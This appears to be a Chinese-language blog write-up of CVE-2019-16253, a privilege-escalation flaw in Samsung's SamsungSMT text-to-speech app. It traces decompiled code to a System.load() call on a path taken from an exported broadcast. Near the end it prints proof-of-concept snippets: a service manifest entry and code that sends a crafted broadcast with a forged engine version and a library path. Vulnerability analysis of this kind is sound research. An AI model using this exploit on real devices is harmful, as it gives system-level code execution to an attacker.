CVE-2019-16253 SamsungSMT导出组件提权漏洞

这个漏洞是Flanker发现的,一个逻辑层的漏洞,却可以进行提权,分析完后觉得其实不困难,自己是可以发现的

三星有一个叫SamsungSMT这么个应用,具体是干啥的我不是很清楚

它有一个导出组件com.samsung.SMT.SamsungTTSService,其onCreate方法里动态注册了一个BroadcastReceiver,我们知道这默认是导出的

public void onCreate() {
    ...
    LangPackMgr.get().a(this.getApplicationContext());  // 入口
    ...
    super.onCreate();
}

public void a(Context context) {
    if(this.context == null) {
        ...
        IntentFilter intentFilter = new IntentFilter();
        intentFilter.addAction("com.samsung.SMT.ACTION_INSTALL_FINISHED");
        this.context.registerReceiver(this.LangPackMgr$2, intentFilter);  // 注册一个广播接收器:"com.samsung.SMT.ACTION_INSTALL_FINISHED"
        ...
    }
}

注册的LangPackMgr$2会将传入的Intent内两个数据作为参数构造一个LangPackMgr$UpdateEngineInfo对象,然后加到一个队列里,经过一系列判断,开始更新

BroadcastReceiver LangPackMgr$2;

public LangPackMgr() {
    ...
    this.LangPackMgr$2 = new LangPackMgr$2(this);
}

public void onReceive(Context context, Intent intent) {
    int v7 = -1;
    if(intent.getAction().equals("com.samsung.SMT.ACTION_INSTALL_FINISHED")) {
        ArrayList arrayList = intent.getCharSequenceArrayListExtra("BROADCAST_CURRENT_LANGUAGE_INFO");
        Class_l v1 = new Class_l(arrayList.toArray(new String[arrayList.size()]));
        v1.a(intent.getStringExtra("BROADCAST_CURRENT_LANGUAGE_VERSION"));
        v1.setArrayList(intent.getCharSequenceArrayListExtra("BROADCAST_DB_FILELIST"));
        v1.a(true);
        int Extra_SMT_ENGINE_VERSION = intent.getIntExtra("SMT_ENGINE_VERSION", v7);
        String Extra_SMT_ENGINE_PATH = intent.getStringExtra("SMT_ENGINE_PATH");
        if(Extra_SMT_ENGINE_VERSION > SmtTTS.get().getEngineVersion() && (r.isFileExist(Extra_SMT_ENGINE_PATH))) {
            if(j.a(Extra_SMT_ENGINE_PATH)) {
                LangPackMgr.getUpdateEngineQueue(this.a).add(new LangPackMgr$UpdateEngineInfo(Extra_SMT_ENGINE_VERSION, Extra_SMT_ENGINE_PATH));
                LOG.b(q.b, "LangPackMgr - Add candidate engine [%d][%s]", new Object[]{Integer.valueOf(Extra_SMT_ENGINE_VERSION), Extra_SMT_ENGINE_PATH});
            }
        ...
        LangPackMgr.doUpdateEngine(this.a);
    }
}

使用多线程来执行,在线程里我们看到一个reloadEngine()方法

static void doUpdateEngine(LangPackMgr langPackMgr) {
    langPackMgr.updateEngine();
}

private void updateEngine() {
    if(this.mThreadUpdateEngine == null || !this.mThreadUpdateEngine.isAlive()) {
        this.mThreadUpdateEngine = new LangPackMgr$EngineUpdateThread(this, null);
        this.mThreadUpdateEngine.start();
    }
}

public void run() {
    ...
        if(v1 != null && ((LangPackMgr$UpdateEngineInfo)v1).SMT_ENGINE_VERSION > SmtTTS.get().getEngineVersion()) {
            l.a().b(((LangPackMgr$UpdateEngineInfo)v1).SMT_ENGINE_PATH);
            if(SmtTTS.get().reloadEngine()) {   <== 注意看这里
                LOG.c("Restart engine...");

跟入可以看到直接使用System.load()加载了v0_2指向的路径,那么l.a().k()返回的是什么呢?

public boolean reloadEngine() {
    boolean v0_3;
    boolean v3;
    this.e();
    try {
        String v0_2 = l.a().k();
        if(r.isFileExist(v0_2)) {
            System.load(v0_2);
        }
        else {
            goto label_71;
        }
    }

我们看reloadEngine()上两句代码,这里说的是如果版本号高于本地数据,就进入if逻辑处理,可以看到,最后将Intent内"SMT_ENGINE_PATH"的数据写到本地SP文件的"SMT_INSTALLED_ENGINE_PATH"字段

if(v1 != null && ((LangPackMgr$UpdateEngineInfo)v1).SMT_ENGINE_VERSION > SmtTTS.get().getEngineVersion()) {
    l.a().b(((LangPackMgr$UpdateEngineInfo)v1).SMT_ENGINE_PATH);    <== 1
    
public void b(String param_SMT_ENGINE_PATH) {
    if(param_SMT_ENGINE_PATH != null) {
        l.SMT_LATEST_INSTALLED_ENGINE_PATH = param_SMT_ENGINE_PATH;
        this.a("SMT_LATEST_INSTALLED_ENGINE_PATH", param_SMT_ENGINE_PATH);  <== 2
    }
    else {
        LOG.d("Try to set SMT_INSTALLED_ENGINE_PATH with null");
    }
}

public void a(String SMT_INSTALLED_ENGINE_PATH, String param_SMT_ENGINE_PATH) {
    this.a(n.a, SMT_INSTALLED_ENGINE_PATH, param_SMT_ENGINE_PATH);  <== 3
}

public void a(n arg2, String SMT_INSTALLED_ENGINE_PATH, String param_SMT_ENGINE_PATH) {
    SharedPreferences sp = this.c(arg2);
    if(sp != null) {
        SharedPreferences$Editor sp$editor = sp.edit();
        sp$editor.putString(SMT_INSTALLED_ENGINE_PATH, param_SMT_ENGINE_PATH);  <== 4
        sp$editor.commit();
    }
}

再来看l.a().k(),可以看到返回值就是"SMT_ENGINE_PATH"指向的数据,这个数据我们可控,修改Intent即可

public String k() {
    if(r.isFileExist(l.SMT_LATEST_INSTALLED_ENGINE_PATH)) {
        try {
            if(j.a(l.SMT_LATEST_INSTALLED_ENGINE_PATH)) {
                String v0_1 = l.SMT_LATEST_INSTALLED_ENGINE_PATH;
                return v0_1;
            }

            LOG.a("Invalid INSTALLED_ENGINE_PATH = " + l.SMT_LATEST_INSTALLED_ENGINE_PATH);
        }
        catch(Exception v0) {
            v0.printStackTrace();
        }
    }

    this.j();
    return null;
}

这时我们来看com.samsung.SMT.SamsungTTSService注册的另一个BroadcastReceiver

public void onCreate() {
    ...
    LangPackMgr.get().a(this.getApplicationContext());  // 入口
    ...
    super.onCreate();
}

public void a(Context arg4) {
    if(this.context == null) {
        ...
        IntentFilter v0_1 = new IntentFilter("android.intent.action.PACKAGE_ADDED");
        v0_1.addAction("android.intent.action.PACKAGE_REMOVED");
        v0_1.addAction("android.intent.action.PACKAGE_CHANGED");
        v0_1.addDataScheme("package");
        this.context.registerReceiver(this.LangPackMgr$1, v0_1);  // 注册一个广播接收器,用于判断应用安装,删除相关Action
    }
}

广播接收器LangPackMgr$1会判断新安装应用的包名是否是"com.samsung.SMT.lang"开头,如果是,就调用函数a.d()

BroadcastReceiver LangPackMgr$1;

public LangPackMgr() {
    this.LangPackMgr$1 = new LangPackMgr.1(this);
}

class LangPackMgr.1 extends BroadcastReceiver {
    LangPackMgr.1(LangPackMgr arg1) {
        this.a = arg1;
        super();
    }

    @Override  // android.content.BroadcastReceiver
    public void onReceive(Context context, Intent intent) {
        String action = intent.getAction();
        String v1 = intent.getData().getSchemeSpecificPart();
        if(((action.equals("android.intent.action.PACKAGE_ADDED")) 
                    || (action.equals("android.intent.action.PACKAGE_CHANGED")) 
                    || (action.equals("android.intent.action.PACKAGE_REMOVED"))) 
                && v1 != null 
                && (v1.startsWith("com.samsung.SMT.lang"))) {
            this.a.d();
        }
    }
}

经过若干次的调用

public void d() {
    this.a(null);
}

public void a(j arg2) {
    if(this.context != null) {
        if(arg2 != null) {
            this.i = arg2;
        }

        this.e();  // 传入的参数是null,所以直接调用函数e
    }
}

启动一个线程

private void e() {
    if(this.g == null || !this.g.isAlive()) {
        this.g = new i(this, null);
        this.g.start();
    }
}

对应的实现,通过搜索安装的应用来过滤出指定前缀的包名,然后启动Service

class Thread_i extends Thread {
    private Thread_i(LangPackMgr langPackMgr) {
        this.a = langPackMgr;
        super();
    }

    @Override
    public void run() {
        PackageInfo packageInfo;  // 获取当前应用对象package信息
        HashMap v3 = new HashMap();
        HashMap v4 = new HashMap();
        try {  // 获取所有安装的应用
            Iterator iterator = LangPackMgr.getContext(this.a).getPackageManager().getInstalledPackages(0x2000).iterator();  // 获取所有安装的应用
            while(true) {
            label_12:
                if(!iterator.hasNext()) {
                    goto label_56;
                }

                Object v0_1 = iterator.next();
                packageInfo = (PackageInfo)v0_1;  // 获取当前应用对象package信息
                if((packageInfo.applicationInfo.flags & 1) == 1 || !packageInfo.packageName.startsWith("com.samsung.SMT.lang")) {
                    continue;
                }

                break;
            }
        }
        catch(Exception v0) {
            v0.printStackTrace();
        }

        try {  // 包名为:com.samsung.SMT.lang.xxx
            Intent intent = new Intent(packageInfo.packageName);  // 包名为:com.samsung.SMT.lang.xxx
            intent.setPackage(packageInfo.packageName);
            LangPackMgr.getContext(this.a).startService(intent);
            LangPackMgr.increaseTriggerCount(this.a);
            v3.put(packageInfo.packageName.replace("com.samsung.SMT.lang", "smt"), packageInfo.packageName);
            goto label_12;
        }
        catch(Exception v1) {
        }

        ...

        v0.printStackTrace();
    }
}

关键代码,意味着我们的Poc需要有一个Service,以包名作为intent-filter

Intent intent = new Intent(packageInfo.packageName);  // 包名为:com.samsung.SMT.lang.xxx
intent.setPackage(packageInfo.packageName);
LangPackMgr.context.startService(intent);

接下来结合flanker_hqd的Exp来解析

  • https://github.com/flankerhqd/vendor-android-cves

我们可以看到上面在监控到有以"com.samsung.SMT.lang"为包名前缀的应用安装时,会启动安装应用一个Service,指定Action为包名,所以我们需要注册一个Service,Service的Action为包名

<service
    android:name=".MyService"
    android:enabled="true"
    android:exported="true">
    <intent-filter>
        <action android:name="com.samsung.SMT.lang.poc" />
    </intent-filter>
</service>

在我们的Service里,可以执行发送Intent的操作,这个Intent就会被广播接收器LangPackMgr$2接收到,进而调用System.load(),最后完成提权操作

Thread thread = new Thread(new Runnable() {
    @Override
    public void run() {
        ...
        Intent bi = new Intent();
        bi.setAction("com.samsung.SMT.ACTION_INSTALL_FINISHED");
        ArrayList<CharSequence> s = new ArrayList<>();
        bi.putCharSequenceArrayListExtra("BROADCAST_CURRENT_LANGUAGE_INFO", s);
        bi.putExtra("BROADCAST_CURRENT_LANGUAGE_VERSION", "99999");
        bi.putCharSequenceArrayListExtra("BROADCAST_DB_FILELIST", s);
        bi.putExtra("SMT_ENGINE_VERSION", 0x2590cd5b);//installed version is 361811291
        bi.putExtra("SMT_ENGINE_PATH", input);
        sendBroadcast(bi);
    }
});
thread.start();

References